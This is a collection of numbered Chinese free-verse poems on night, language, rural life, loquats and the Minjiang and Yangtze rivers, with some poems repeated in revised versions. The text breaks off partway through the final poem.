使得它成为与门外的夜色 相互对立的事物。 极其浅薄于空间位置上面的远 在拉开之中， 如同有一种空虚。 那么，接下来我需要小心谨慎， 一言不发。 并且集中精力于仿佛正有一种奇迹， 在我的眼前发生， 装填和填充，随后积蓄 相比于那之后会发生的，极其自然的语言 现在，它的基础 在于移动，于人而言，在于一次 事实上虚假的梦幻。 看久了617 《看久了》 看久了会看出病态， 我追逐的理由是动身， 和打包。目的地超过了你， 对于你我不会有太多 纠结于语言之祷慰的停留， 这是一些短暂的美， 误解的美在于短暂所来的忽视 甚至怀念和迷离。 这个黄昏将去往那里， 黄昏把我的影子， 拖拽着，很长很长。 我的目的地是你舌根的干燥， 开裂， 进而呼吸的不畅。 对于水渴求和热切的人儿， 多了起来，民族的， 它把自己之中的那一些 来轻轻的怀抱，仿佛它们是 极细极小的。 花朵618 《花朵》 放松与书写的紧密关系， 从它们由人而来的各自分离已开始了。 在猜测正确，以及有理有据， 对于书写的手像评测和预判。 如同一种共鸣的莫须有，由倾斜的 角度和书写的速度，力度而得来。 在写花的时候，已经开了一次，花 甚至早已经出现了它自己不可避免的凋零。 有人在旷野之中，无力的承受那份寂寞 他，唯一被牢牢抓着不放的的身份 是与你共情，否则，他对你说， 文字丧失的危险谁又可以以人类之名义的 承担了下来呢？早在书写之前的这一些花朵 种子和土壤，开花是一件事情，果子的结成 与你的书写紧密相关，你推开过一次水波， 水波下面的秘密是花朵的存在史， 存在史的不断的起起落落，和别的 在这个位置上面，你微不足道。已经是 第二次的微不足道，你呼吸均匀，心怀良心 你书写，呵那不是书写，花朵不会因为什么 而反证于它自身。 世界619 《世界》 把对于小的偏见，暂且搁置。这不是语言变得充足 在一块土地上面，沙粒，草叶，断茎 黄土，石头和青草。我一直相信着的事物， 是静止的词语的外表，总有一天会脱了下来的自身。 它告诉了善于遗忘的我，如今偶然记起一般的 来把动词的实情说出。我是其中的一件， 对立于我的不相信和口中，所重复和念叨“世界”。 自身已经在一花一世界之中的，自我消解 已经发生了的，它的身份已经一降再降了。 或者世界本该如此，它乐意于充满了迷障。 在我清醒，我的似有所悟，沿着旅途的走了走， 凭倚于走这个词的卓有成效，信以为真。 我有时候抵得过所有语言的是我错误的形象。 在太阳下面的暴晒，流汗， 使得我不同于青草和石头，仿佛愈发的难理解。 屋顶620 《屋顶》 把屋顶修的复杂一些 因为时间会在自身中， 慢慢磨平它。 二者并不是同一个， 事物是声音， 在寂静的夜晚里面， 不仅仅只是被需要的思考， 它像迈着人的步伐， 空虚于无的表情情态。 思索的纽扣，以及它更多的比喻。 慢慢磨平了的它， 屋顶变得平整， 变成了北方与山东，可以用来 晒粮食的屋顶。 它止步于传统，它辨认，识别 再次的，把思索驱散。 木板621 《木板》 让锤头和钉子， 木板。面对着我的手的悬置， 而孤悬与傍晚一场突兀的雨 何其的相类似。 像两个多年未见的人儿， 亲昵，手挽着手。 我听不见它们的语言， 夕阳的光芒，向四面八方 低垂起来的照射着。 等待的需要， 建筑被修补准确的替换， 没有其他的人， 我是一个活生生的。 木板622 木板 《木板》 让锤头和钉子， 木板。面对着我的手的悬置， 而孤悬与傍晚一场突兀的雨 何其的相类似。 像两个多年未见的人儿， 亲昵，手挽着手。害怕彼此的消失。 我听不见它们，看见 夕阳的光芒，向四面八方的地表 低垂起来的做着最后的照射。 今天我最后一次把目光 从远方的大地收了回来。 我爬上了竹木梯子，一个阶梯 一个阶梯。形容词和来不及去 想，去比喻的。以及掉落下来的。 身体愈发的因为要做一件事情而变得 轻盈，我会在钉木板的时候， 一边哼着歌曲，我与傍晚并不是第一次 打交道，不是初识。 大地623 《大地》 大地托举起，有的和没有的。 有的没有了，正在发生的无，是有的。 只消看一眼，我们就知道了一切。 暴露了我们无法满足的心灵， 人类一个接一个的死亡。 从这里开始，土地作为中心。 越来越多的自然现象啊为什么要 衰灭于人这最高的论断， 我们思想紧密如同锁链和绳索呵， 绷得更紧的它们，提供了 给我们如何更加牢固的目的地。 一边窥探着的自身的终点， 由此而生疑于土地， 在书籍，这之中，它离开了原地的历程。 往往624 《往往》 让面对静默的是，一匹马匹。 让我确确实实依然如往日一般 这往往被诙谐而幽默的总结。 从你的嘴唇里面 吐露出来的正是我想要说的。 我有更多的如水一般 又有着实际意义的时间。 我甚至只是说有， 有时候缩减，甚至静默说的是 手臂的静默。一个人等同于一个手， 也是一个我。 而剩余的部分属于自然而然的空， 以及只是语言顺序的调整的自由自在。 而这个时候我又想了起来 并且把水和游泳， 因为放在了你说话的后边的还要更遥远之处 我嬉戏，也可以随你前行。 我可以是这个，并且停留一小会， 我也可以把这一份给你， 在乡亲一般，又如同语言一般的关系里面。 对岸625 《对岸》 一枚钉子，不远处摆放的 自然的木板 所产生的选择。 把人轻轻的召唤而来的 首先是这些东西 容易去拒绝的人， 是一个热情于心意上面的一份邀约。 而木板和钉子， 只会提供出它的反面， 只会在河流的对岸， 使得我们望见，一棵树 注定被伐倒。还不止于此， 它装车和分解的命运，时时的 紧扣着的它自己。 那时我在屋顶上面， 对楼房漏雨作简单的修修补补， 并且把对岸的一颗小树给砸了进去。 仓库626 《仓库》 在地面上存放的， 不会与我的语言直接的发生衔接。 有个男人，因为转过身子 扭头走进了仓库。不发一言，仓库 用车库临时改装而成。 像有一件事情，带着某种微弱的光泽 它的发生也一样。 如果共鸣只是此刻的一种假定， 我希望由陌生人来做 来承担，因此那已经失败了 确定性所需要的器皿，不是工具 在一个不同工具的寻找之中，它不是别的 像一种位于前方的声音不断的传来。 在它是的时候，物的房间的尽头 或者整个的这个仓库的房间和它那含有 和包裹，和那个人类。 几个月后627 《几个月后》 几个月之后而奇迹于，和又在于 如果没有我语言随意言说的基础 或者在这样一个夜晚，我 滑走了它，愿意在未来的不确定性 与疼痛的轻微之间，选择了后者。 而我也犹如来自未来一般的， 可以把此刻的自己，愚弄又折叠 在文字里面重新遇见。 开口说话的闭上了口， 准备离去的销声匿迹。 疲倦同样来的快如放松 它们争夺同一件东西，形象是，自称。 其间，把人的形象映照。 在我看来那是一些不管不顾，不闻不问 进而去他大y之姿态的水。 在其中怀孕，如同 在第一个妇女的腹中。 我在那里面，熄灭了自己准备安家落户的 想法。我的想法正面对着我的狂妄。 而遗忘的样子犹如逐渐褪去的阴影， 也被看清。 我使得她疼，疼的厉害，疼的 压弯了三月的柳条， 入水，始终保持了尖细，而又是同一件东西。 这时间的回声应该感谢 人，人沉默不语的时候，它应该感谢 脆弱的柳叶。 在不真与不诚的心意上面， 它应该被指正。像，像是， 或者不像，我的肤浅的一颗心在下。 夜晚628 《夜晚》 我深刻的怀疑着别处。 并由此刻我其他的怀疑托举着 如果并非如此， 或者一阵风突然的就变得强力了些。 我放在石桌上面的瓶子，被吹倒。 塑料的是挽留不住纯净水的 而这些最简单的结论，沾染着 只属于白天的光明。 我之前从没有注意到的一个，它 变成了的空，我正是它前进的阻力。 对于要钻进我脑海里面的事物， 我怀疑它是大过我身体上面的愉悦， 对于疼痛的某一些抚平的。 晃动629 《晃动》 轻轻晃动的它们， 有一丝丝声响，指的是树丛。 作为联系的事物，指的是梦， 和手指本身的无用。 它在白天耕地，砍柴， 握紧事物的把柄 作为没有眼睛的事物， 它会把轻而易举的变作混乱。 从丢失了思想的那一刻开始， 作为一种界限，它总涉及到命运。 打开窗户，星宿和田野 关上的另一个组件， 不断被猜测和推理着。 而良辰美景的虚言 大过对于情爱的描述。 一头信鸽飞了进来， 直接撞进一个人可以说话的喉咙。 黑夜是一些这或者因此那的线条， 在它还没有涉及到具体的这里和那里， 在它是一个肇事而没有良心， 意识本身的问题发散开来， 可以归咎和推卸，可以请求一阵 或者一阵阵的夜风， 这实在是赎罪的夜晚，因睡去而怜悯不已。 给阿德琳的诗630 给阿德琳的诗 《给阿德琳的诗》 轻轻晃动的它们， 有一丝丝声响，指的是树丛。 作为联系的事物，指的是梦， 和手指本身的无用。 它在白天耕地，砍柴， 握紧事物的把柄 作为没有眼睛的事物， 它会把轻而易举的变作混乱。 从丢失了思想的那一刻开始， 作为一种界限，它总涉及到命运。 打开窗户，星宿和田野 关上时候的另一个，我们的追问 不断以猜测和推理。 这证明，不够。夜晚会消失因为长， 石头不足这形象始终不足及于眼睛。 那树丛，跟那个或那，树丛 也不一样。 而良辰美景的虚言 把对情爱的描述讲给它听。 让飞蝇与蝴蝶脱身， 但代价不是灯火 而这个夜晚因此在缩小的 光明里面， 让静止与缩小之间的关系发生了破裂 静止成为了独自的一件 和如迷的一件。 而抒情于是是可以窥探的秘密， 是另一件，我就动身离你而去。 不是，那么为什么呢， 你却更远， 孤独的树丛本应该是一个排比句式里面 获得宽容，以侥幸，幸免于难的心灵 注视着其他的事物。 今夜，我向远方寄一封信笺 所写与此相关。 看吧，黑色的夜晚是如何的途径了 微不足道的文字， 而丢弃在一边的被识别和认出， 它们同样微不足道的名字是哲学。 也只是这样， 所以，这样，那样，你足下的位置 你移动之轻如同漂浮在它上面的 绯薄的水流。 使得我再次的想起了你，你 一个不会回信的人儿，甚至是一个 没有看懂信纸内容的人儿。 ————我给你寄了一片黑色的夜晚 一只藏在了树丛之中发出声音的鸟儿， 在夜色里面的全部。 所以那是“窝”。而微不足道的事情同样是， 它等待的时间被判别所占据， 说太久太久容易的，被说成别的， 但你不是这样的！ 鸽子631 《鸽子》 鸽子，落了下来 途径病痛的历程。 检验一只鸽子是否良知的依据 是它那白色的毛发。 在枝头不仅仅为自己，也为别人而着想。 而这一次它属于最后的一个， 又幸免于难于并非同伴们的纷纷x职， 像五月的末尾存在着烟火， 或者并不合适， 把那些从房子烟囱上面升起的炊烟， 途径了嫁接，以及对于人类而言 始终是无法理解的动物的想象时。 宜宾632 《宜宾》 居和住不同， 居住在这里的人们， 有两个身体。 他们操持的语言，不认识 他们睡眠的语言的时刻。 而白天，白天只是 月轮，石头，青草上面微弱的水珠 直到一切都被我说出来。 我是那个因为走与离开， 很远。我是那个因为不定漂泊的云 是那个把你们劈成了你自己的。 我是人类的残余部分， 你酣睡的时候我认得了你， 大部分黑a的时候你都沉睡不醒。 鸽子633 《鸽子》 白鸽子飞的很远， 是它的白飞的很远， 它是一个错误的事物。 踟蹰于最开始的鸟儿， 它怎可以把弥补在现实中呈现。 我所要求是美和美的。 是飞翔在于垂直俯冲， 掉落来自不经意之间。 在代表人类的时候，我尽量的 靠近没有怜悯的语言。 或者它们良善假象一般的对立面， 在那鸽子身上，飞速的略了过去。 一只猫634 《一只猫》 它的力气最大， 它的颜色最白。 它最能捕捉。而如今也只是 在捕捉的形象之中， 随着吞咽下去的成功 而呼吸的频率也越来越急促了。 它变得越来越不像一只猫， 它越来越芸芸众生。 在这个错误的，挪移给猫类的群体之中 它等不来形容的神秘的时刻。 但它也不会等别的，单纯的等待 与如今的它自身一样的被矛盾所充满。 作为一种悖论，它需要人来进行确认。 而对于这一过程，它熟知也同样有序。 阁楼635 《阁楼》 高阁灯火一熄，玉人就顺着楼梯走下来。 一条河流就像她一样的慢。在春天， 即使允许犯错误。你认错了人，或者 用同样错误的词语，来错上加错的解释。 月上三竿，还在重复那些与早晨相类似的。 就像现在的情形也经不起席卷，又找不到源头。 干脆，放在一个布口袋里面。随着下楼的声音， 发出噔噔的响动。 高阁636 《高阁》 束之以高阁的历史在人类的 猎奇心理之上，而如同海平面一般的 并不稳当。所以我们把它 并非建筑的部分挪移到了湖水的旁边。 反过来说，这样， 如果一个人登到了高处， 他会发现诗歌的本质。以及 在诗歌本质与这就是我的陈述之间的 抉择。这个在高阁上面的人类 星星垂落下来的紧密相关，给他 提供了虚幻模糊的身影。和神秘的身影 离的更远了一些，一切只剩下平静，孤独 对于他所承受的落寞而言， 那些千年的岁月被说出来一次， 仅仅意味着其中的一天过去了。 土块637 《土块》 慢慢开始变得像窗户的 这一个土快。 转变之中带着些许的忧虑， 在未来歧路纵横的分叉上面 该如何选择的声音， 催促感却是由，与之相反的心意而来。 所以，它不同的形状， 都一一的偏离。如同一场纷乱的雨， 却在同一个之中， 那些倾斜的线条得以保留。 为了垂落而进一步的， 发生在了文字之中。 如今，它是它被自我定断的极端。无水分 超过了矛盾和冲突。 作为一种结果也不会再有太ping的时刻了。 而人的认识从不是什么新的东西， 对着新的面貌我们只需要哑口无言就好了。 走入了犹如是秘境一般， 为了反复的确认 为了让偶然间的走过， 变成由硬底皮鞋踩碎了一个土块。 夜晚638 《夜晚》 夜晚人只会越来越少， 但短时间中， 人流量也会陡然的增多。 无辜的风景树被一一牵连， 它只能怪罪于一双双， 令它们感到眩晕的手。 倒不如老老实实的守在路口， 和道路的两旁。 守株待兔的成语还可以继续的延展， 它的边界，在于树叶总会纷纷垂落 这一共同的归宿。 对于风景树而言， 手的宇宙之上是另一个世界。 像天空会降下雨水，落在人的脸上。 接着，人的世界也会有所降下。 一场知时节的好雨，狂暴而突然， 它首先在人的世界上滑落，但没有停止 在树木的世界里面接着重新的大雨倾盆。 烧烤639 《烧烤》 对夜晚的判断也属于夜晚。 夜晚会伸出一只手， 来把它收拢。 判断也属于我言说的 部分，但不能再具体和细微的原因 在于这个人被夜晚撕裂下了 他不疼的那一部分。 所以，在夜晚多说话，是人类群居 或者存在的基础。 是简简单单的人， 相比于其他的人他沉思又倦怠 慢慢的靠近了烧烤摊旁边的火炉。 最简单的事情并非存在的本质和基础呵， 从空瓶子里面试着 一次次看人的人。 确确实实的看到了人荒谬的本质， 等到他把一切都说完了， 人群依然纷纷扬扬， 开始脱下来的衣裳，让膀子光着， 我觉得这样反而更好， 无忧无虑，又并不是过分的短暂 并且顺着这一条路 我们赤裸着上半身， 像女人在心中同样赤裸的，二者 彼此以语言靠近着。 青草640 《青草》 少于青草，但青草很远。 少于青草歧义的是绯红的脸颊。 除了真相的心理被轻微的鼓动着， 青草也被遥远的风吹着 语言没有参与感的参与，夹杂 不了丢弃它那毁坏的形象。 作为同一种形象， 有时候是作为了同一种事物。 从结果的起点开始的推理， 如同终会获得的一缕春风， 围着春风打转的人儿， 再不会获得其他什么了。 井水641 《井水》 井水之深需要一种甘冽的事实。 而更深了一些的水井， 不是食物。判断不是判断， 月亮才能出来。 不是饮食的时刻，你并不是真正的饥肠辘辘。 那些试着向那里走的， 仿佛因为它现实的部分， 在不停敲打着人的脑袋。 仿佛如果退回到了水的，便证明了饮食之艰。 对水而言，山中多歧路 在地脉中的幽暗也超乎想象了。 它是要z，动不安，文字同理，它形象伟大， 不停在变幻之中是它的心意。 即使岩石与层层升高的石壁， 早已经被一双手修补与垒砌、 囚禁的意思是预期只能上升，生机出现。 它也有其他的无限的可能， 况且它依然柔软到可以在自己的体内保持沉默。 或者把丰盈与甘甜作势，一一的取出。 在此之间，人的语言很难去界定什么 此之间有我们的父辈，爷爷，姥爷爷 已经远到孤月为悬了。已不是第一次了， 瞬间变得冰冷的山泉水富含有矿物质 和对人体有益的微量元素。以此来作为良善之物， 它从自身之中迈出了一步。 第二步不是井水的晃动的逻辑推理， 不是别的，语言容易堰塞成为的海和湖泊。 那些垂直下来的绳索， 像一种仓促与天真的梦幻， 找不到北，退回去， 人就会在自己的身体上面 相对受到伤害较浅的打转。 废园642 《废园》 它废弃了，它老去的骨骼破碎的声音 惶惶然的直接和分散开。其中 不只是只有一些些， 而对于肉体的热切因此愈加的旺盛。 最后的因果与哲理， 并非孤独本身的单独使得它废弃。 作为一个事物，面对着另一个 它那本身的长久隐而不见， 它说自己单纯的时候附带着越来越沙哑 和嗓音的浑浊， 确实，像有一只久被孕育的飞蛾 看城市如火，而且随着时代的变迁 越来越像了。 园子643 园子 《园子》 钥匙的三月， 向五月的推理，理想化的去了。 窗台只留下被人打开过的痕迹。 它不易折，即使人已经逃脱，即使 逃脱与留下之间 远非我们所想那么的简单。 而这些随着说出而来的，像确实是在 高低起伏的石阶上行。 像一种重演，如同对话走到了深处。 正慢慢被认同和接受一种观点，看吧， 是正变作了音乐的， 是否就可以让停留在窗台边上， 可闲情雅致，景色扑面。 为寻找一种解脱，而那人儿罪责的心 仿佛又一次的急促呼应着。 杯子644 《杯子》 早上，杯子， 别的事物也可以被，杯子所替代。 它们的名字各自在杯子的空 之下面，又因为水的盈满而 统一起来。 晚上的杯子则不着痕迹，是了别的事物了。 为了证明像月有阴晴圆缺一般， 单纯所提供的光亮。和那个首先的 其次的，以及与最后之前的 一个漫长序列的必要性。 你低着头，吃饭。闭口不谈 好像也是一种言语。 但对于一切交代的很慢， 曾经杯下之物，和物的长久 那些语言的和事物的形状， 以及它们理应当被揭开来了的， 缓缓地，人因为等待了一天。 白鹤645 《白鹤》 白鹤沐冠，只露出身体，也都只是它自己。 哲理为先的历史和经验的东方是一只白鹤， 如同在一次暮色时分可以准确找到的答案的傍晚。 白鹤俯身代表了一切，又丢弃，在水下看的很远。 人在水田边的小路上走着，不疾不徐。自己的形象并不在于身躯，思想并不是小事。 白鹤在水下看的远。极目远眺， 如群山的高枝，郁郁葱葱之中最显眼的那一枝。 它也看到了春秋为春。单纯的秋天并不存在 但如果只有春天， 拱起了盎然的生机，而转眼逝去， 以木棉一点一点的从枝头垂落来送别。 水中忧伤，通透的文字如白鹤只剩下远影。 白鹤为远，易使得水流不再。触及到 饮食艰难现实的处境。不能更多了，白鹤 弓张的只要振翅就会陷入逻辑中。 翅膀一挥就只能扶摇，笔直向上。 白鹤沐冠，降低了自己的身子和高度， 它也只是普通的一个， 没有x情或者x道的打算。 住在一座云雾常年不散的山峰 却又可以让人攀爬。 它与人的关系达成了和解与归顺， 有着共同的历史。但也常新，如此的形象 有时候人的语言不上去，睡眠占据了攀爬。 白鹤沐冠，随后就会沿着山脊，张开翅膀， 进入人类世界的深处。 岷江入长江646 《岷江入长江》 岷江延伸向了， 长江的内部。它拥有着比本身 更远的那一部分。 它的上游因此紧缩，过分的热爱雨水 通过人类的纱窗而探听着。 但这不是失语和遗忘的岷江， 不会在人们对它形象的猜测正确里面， 俯首，静止， 而它的记忆更甚，犹如一种哲理， 则属于这记忆旺盛的一部分。 那共同的水的属性， 如果不被叫出了名字。 而人太过于脆弱和渺小了， 特别是一个女子，在长江边上 面对着从山顶望下去，历史没有情感的翻滚着。 你叫她的名字，你在上游老了， 婚期已过，子嗣也衰老了。 而有时候岷江并不仅仅是独一无二的， 那青衣江水也同样在岷江的体内 重复于有关于水的谈论， 作势看这一条大江， 它tuo.e奔腾，此刻也都是正确的。 南城的枇杷647 《南城的枇杷》 南城的枇杷， 它所使用的追逐之术 正是源自于它自己。 在自身之内一次留有余地失败也依然去尝试， 或者也可以以果子的形式将源头堵塞。 枇杷周围，不过是一些旁白之物。 名字和称呼， 在地面上留有虚幻的影子。 又因为多少的枝叶片缕， 而引人入歧途。这些青涩与苦涩 并不是直接与对等的关系。 因果不是因为人，你走入了林子里面 果子的成熟不是因为人的夹杂， 一句赞美的诗歌所能弥补为数不多。 补救更是夜晚疲倦之身体梦幻期盼的自然延续。 实则，果子把人藏的很深。 枇杷则因此，倾斜着 在栽种之初就与人们进行了商议。 而如果农民太过于固执，对岸的一城山水 慢慢的失去了颜色。 枇杷就会脱离开来， 它会在某天夜里作为一个新的开端。 那些树木和枝叶——稀疏的月影、斑驳 让语言愈加的变幻。 我相信，我们如此善良的活在了， 任何语言漂浮一般的表面。 我们是为了吃和爱着的划动了桨， 河流改道，枇杷果熟， 只是在于一瞬，我轻轻的侧着身子躺下 看到了对岸的城楼，回来的历史愈久了一些， 我依然看着，并因此热爱。 岷江入江648 《岷江入江》 可以为寺，从沿岸的众多线索。 我的手伸入了水的深处， 忽视了它更多的实情， 那些被相起来的流水和它那极速的 流淌，与我偶然的回忆相呼应。 但，不是现在 我在水流被拨弄起来， 它那轻微的的浪花上面， 人不断的努力，人的语言就可以 不断的， 涉及到他心中， 此刻， 所幻梦一般想要说的 ：比如支流与水系，也都是易碎的。 是另一个，但不是另一个人类。 一重门649 《一重门》 一重又一重门， 言语听不见了，它的发声嘹亮 因此说的是因果 说的时候小心， 第一个深陷矛盾。 语言的深度，语言的过度。 凭借现世， 向上的得以展示。 在傍晚，最自然的逻辑通过了我们的眼睛 无论的那一种事物， 忙碌和漂浮了一整天自身的重量 都慢慢的沉了下来， 沉了下来组成了，那个叫做太阳的东西。 如果我想到的只是它们之中的一件， 与其他相互的互为邻居。 而语言的另一种情形是向下 侧着身子躲避开来， 无关于深度与过度， 成为了它错误的本质。 夜晚的一首诗650 《夜晚的一首诗》 如果夜晚有一个钟摆， 我就会知道夜晚有多慢， 遗失成为了原因， 只有缓慢敲打着缓慢。 我有事可做，起身，离开了床铺 这并不是一个顺利的动作 否则在语言里面一定可以 泛起可以发现端倪的波浪。 美降了下来，降落，在上面 同样是美的。 如果夜晚因为寂寞但 一个钟摆是没有的， 躺在床上就沉沉的睡去， 一首诗歌界定了，以它自身 所界定，现实与虚幻之间的不同。 晚安，我对于自己给予了赠予。 夜晚的云651 《夜晚的云》 它有， 我能摸到， 辅以夜晚的云朵。 这就是云朵的形状， 它在这个时刻， 从朝霞和高高的云彩而来， 安居于此。 它有，目不能视 作为我的隐身， 在于我正处于其他的事物， 一卷卫生纸中。 枇杷果652 《枇杷果》 枇杷之慢， 它整个的身子都献给了黑夜。 那极好判断，就在我的前面 像一种答案，以间接的方式来说， 是千万次的都会有回音。 这样一个孤独的人该如何的 将他那面庞放于水上。 他顺流而下的决心，是否 打从告别开始就真的是坚决的。 把枇杷树林献给了古代，明代。 一位豁达的将军，再途经过了一片 唯一的温润而不需要更多的言说。 停顿的温润无疑就是历史本身了。 所以你的话语喋喋不休， 在寂静的夜里做着自己的敌人。 这一颗枇杷果，枇杷果树的众多， 像别的，陡然而去，或者回来 又像是它自己需要一次确定。 语言的雨653 《语言的雨》 面对语言沉浮的尸体， 拷问它可能性存在的灵魂。 这是真的， 这跟使用早晨的雨而等待 它的放晴 无果。又求助于途中的徒劳一般。 面颊如人， 心中的大地时隐时现， 如伞。 它折叠，闭合，乃至于关上 它打开的后果绕了一个弯， 难以想象，因此需要付之以行动， 是雨。 作为一种结果已经呈现了。 夜晚散步654 《夜晚散步》 人多了，散开的就远 步伐凌乱合理的解释， 其之上， 又是语言，形象于 偶然会有停顿的片刻。 此刻，和此刻， 以及此刻： 与我同行之人 这之前的一整天都试图于禅语 所萦绕的密室之中， 慢慢的把一具肉身放下。 而且在最为轻微，仅仅摆放的水平上 和语言因为增添， 他单独的一个人就带来了多寡之间的失衡。 而我一路上不发一言， 仔细的听着p，sa使得我的无法开口， 低头我又感觉头顶生目， 能看见，能得到，像一个循环。 作为一个微不足道的人儿， 我始终是他的朋友，又不忍心于 为了自己而把他甩了出去。 晌午655 《晌午》 我贴着路的边缘，行走。 把水的消失归咎于干涸， 把自己一直往前推着走， 不闻不问。 如果也不看， 晌午也不看，不注意傍晚 时分的一声近乎于失明的惨叫式提醒。 我能确定的人儿超不出十根手指。 我也在另一个人的指头上面， 从大拇指，食指，中指。 波折的前进，命运作为必然的背景， 还有做饭，切菜，手儿一直紧握 不会多一个词语， 多出来的部分，我也不会处理。 晌午656 晌午 《晌午》 我贴着路的边缘，走着。 把水的消失归咎于干涸， 把自己一直往前推着走， 一声不响。 如果也不看， 晌午也不看，不注意傍晚 时分的一声近乎于失明的惨叫式提醒。 我能确定的人儿超不出十根手指。 我也在另一个人的指头上面， 从大拇指，食指，中指。 波折的前进，命运作为必然的背景， 还有做饭，切菜，手儿一直紧握 不会多一个词语， 多出来的部分，我也不会处理。 无题657 《无题》 痛苦到语言为止， 我说出的有假，尽量的保持平衡。 在其他的时刻，它们或许 是因为我的期盼而来。 像最为迷人的是单纯的，只有一颗星星。 向着自己的内部，微弱的光明 却也不为了什么反驳。 那么，它也会在自身之中 向着人间垂下语言上面不同的景色。 我无法通过对它的阅读 来形容，而其他的星辰在天空之中 如同商贩，或者转过身就走进了 街边位置优越的药材铺子。 如果我始终怀抱着属于自己的那一份， 我感觉整个世界凌乱的很是突然 变化在平静之中凹凸了自己的本质出来， 像一些冷漠的事物，遮盖包括了我在内， 也不是渺小，我说出来了，语言的时刻， 对它的描述是云，一层一层。但都仅仅如此。 芦苇658 《芦苇》 有人渡河而去， 芦苇就有了丈量的功效， 但需要折断。 有人，他所吐露的名字和身份 一次次的，和这一次 都涉及到了万事万物的平等 还有一个意欲拥抱的温暖的怀抱。 如同，只要我刨土， 温暖的南方就在泥土的下面， 而你不去，离开空虚如影子， 那么一切都还是天真与单纯的矛盾。 有人因此终生热爱于被最初缠绕 如同因果。 有人的形象，是他自己， 被折断的芦苇，根茎在地里 默不作声的等待着， 生长的描述在秋天属实， 它也准备了另一种可能， 语言过分的像人， 人就不免在离去和到场之间了。 无题659 《无题》 之子于归。通过现代性， 献身，张开怀抱。自己 作为首先的那一个因此悄悄的消失。 悲苦的面容只是水 在水面。这后来流淌的表层，有所目的地的 表面 越来越像自己。这基础，包含着 吞咽，尝试，它从左边来到自己的右边。 \/ 形象的细缕的光线， 像一个突然奇想的人 但想象不会到达具体， 感觉也在此刻发生。它通过语言 或者别的其他的形式， 向未来。人需要小心的走 不过是一种徒劳的上面，人依然在 行走，过了一小会可以找得到一棵树的 误解：坐下和休息。 人的影子在人的身后， 总是这样，向前方，前方 存在一座老旧的城池。 在去过或者梦想间，作为多半有一些实际的梦想 它的意义略为浮现。 像我，一个人，历史很空泛 这无关于我侧着身子，也拒绝作为一个 消耗豆油者。以及它物的形式的其他的企图。 这人不会因此舒适， 耳朵的更多功用像此刻，也都是被废话占据。 像这个人，因回忆起来了自己而我是我， 更多的代表着可能性的词语，被生疑反问 侧着身子，纸张破碎， 成为那个树荫下面休息的人的短暂。 像是660 《像是》 仿佛他会成为过去的一个。 他自己又如何看待这一件事情。 像，即使还没有说出的话语， 因为解释如同打开一般， 有什么被打散。在嘴和唇 是离雾气最近的事物。 他如何看待他像是另一个人， 一切攀登与拾阶而上， 低矮处无法给看提供更高的 位置条件。想象自己在语言 与现实所组成了的台阶， 就摆放在了我们的面前， 我的不可逃遁，你可能是事先就 经历过了的一个。你沉默不语 只留出一副面容。 清晨661 《清晨》 清晨因睡眠充足，而不存在疑问。 清晨鸟鸣从自身体内破窗而出， 是疼痛与解脱的混合 勇气又无法被丢弃。 鸟鸣孤而远，清晨没有消散 思索的时间被占据， 被挪用的 远山泛起了白色， 随后一点点的又被青绿色所代替。 鸟儿662 《鸟儿》 枝头鸟鸣，风帆般消失。 又凭借着语言自身的无形 而落在其他地方。它们迅疾 占据了那里，毫无拘谨可言。在这个小院中 从清晨领地的扩张，就带着尖锐 又夹杂着对话的清脆和间歇性质。 这种观点被我摆放在它们面前， 树荫，影子，和枝头，空气。 我心存戒备的拿起语言来， 作为一种形象的鸟儿， 它豆丁一般大小的影子。 农村663 《农村》 脆弱的人儿，美丽只会增多一点点。 他在心里面，把那个称作了口鼻的 像干燥的泉眼， 事先就被知道了的事实。 而不会有笃定的发生，准确的 又如同它们各自的反面， 阳光下面借着光线各自拼凑，组成 被称作了命运。 脆弱的人现在发誓不说，过了一段时间 他就会用牙齿咬住舌头。 推开插上了插削的农家院子，铁大门 椭圆形的把手，握在手中，往左 用力的一拉。 他在脑海中也在找这个椭圆形的把手， 一边漫无目的的行走， 如同太过暂时的明悟， 只是在偶然之间，与迷茫产生了呼应的关系 他猜测出来那是不对的， 光明来自于摩擦，但是两种无形的事物 属于物各自的陷落的太深了 况且他用眼睛看， 耳朵闲置，个子长得很高。 农村2——664 《农村2》 爱美的人，万象已经事先的存在 摘落花瓣中，事情重复着 是美丽自身的转身或者凭窗远眺 顺便，把什么东西给扔了出去。 美一娇嗔就更小了， 易于h，bian，像g中的武h，d被叫了一遍， 或者北方一座古代荒凉的城池， 我也只是听说过它的名字。 这一意孤行的事物，本身可能已经为 多了。还在替未来叹息，吐出了道德 在人类身上的泛滥。所以，接着把我吐了出来。 我当时正困于逻辑面前小水坑的形成， 想要给夏天脱了衣服洗一个冷水澡。 我用提到过的攻击着你，心灵错乱不甘。 转身，作为城市里面的d层小吏，不会说 本地话。正在习惯本地粗茶淡饭的饮食风格， 停下来，贴着城墙听过路人的脚步声。 美的事物太过于无关，接着冷漠 从观察而来，愉悦于我们眼睛上面， 它是极其短暂的停留。 枇杷果2——665 枇杷果 《枇杷果2》 枇杷之慢， 它整个身子都献给了黑夜了。 那极好判断 像一种答案在我面前。 但我偏要以间接的方式来说， 回声便已经遮盖了回声。 你离的远，事先有知 你扯着季节的头发，把春天 在与夏天的分界线上面，趁机弄乱。 还是你，为何我一再的如此变态 你固化，可能会用几十个年头来无声的 嘲笑我。低眉看我，是睡眠，洗脸 早晨起来穿衣干活，是了。还是你 不仅仅自顾不暇，收回的困难 还是你， 听城里人讲时髦与高深的东西， 我把它们展开，干脆，我讲枇杷 突兀的一种情形：还是你， 季候寒冷，果子把一切的悲怨都埋在了地里， 它以语言为伴，点灯，展示出来内容无足轻重的具体， 到人的肉体之停止时， 它所造成的混乱导致了其他的东西， 像一种重复， 如果我言语，南方与未来无异呢。 枇杷果3——666 《枇杷果3》 我等待一个因果， 并从它的身旁轻轻滑落。 等待它的充足 如等待桃子而是梨花 我已经是它和它的失败， 它执意如此，要成熟的早， 转过身子向下， 人去楼空，影子也没有留下一个。 桃花源记667 《桃花源记》 枇杷易变成琵琶， 我会在岸上行走。拿不定的 停留了一小会， 如同把礼物交给了四川盆地 但现在还不是打开来的时候。 你要等待我的脸皮变厚， 倒不如有昭告天下的趋势。 我也会在船上行走， 矛盾的渔翁听过的应该也见过。 但为对话的必要性， 缝缝补补两三颗门牙。 见过的他也应该听过，反过来说 又是一处，桃花源是个困扰人很久的问题。 窗户668 《窗户》 打开窗是它们， 或者窗户被打开的一瞬间很是短暂。 如同它们的思想。或者它们不出去， 窗户依然打开。 我的思想并不追求，不因此而摆脱。 担待不了诸如相似性，我易联想到，类似亲戚 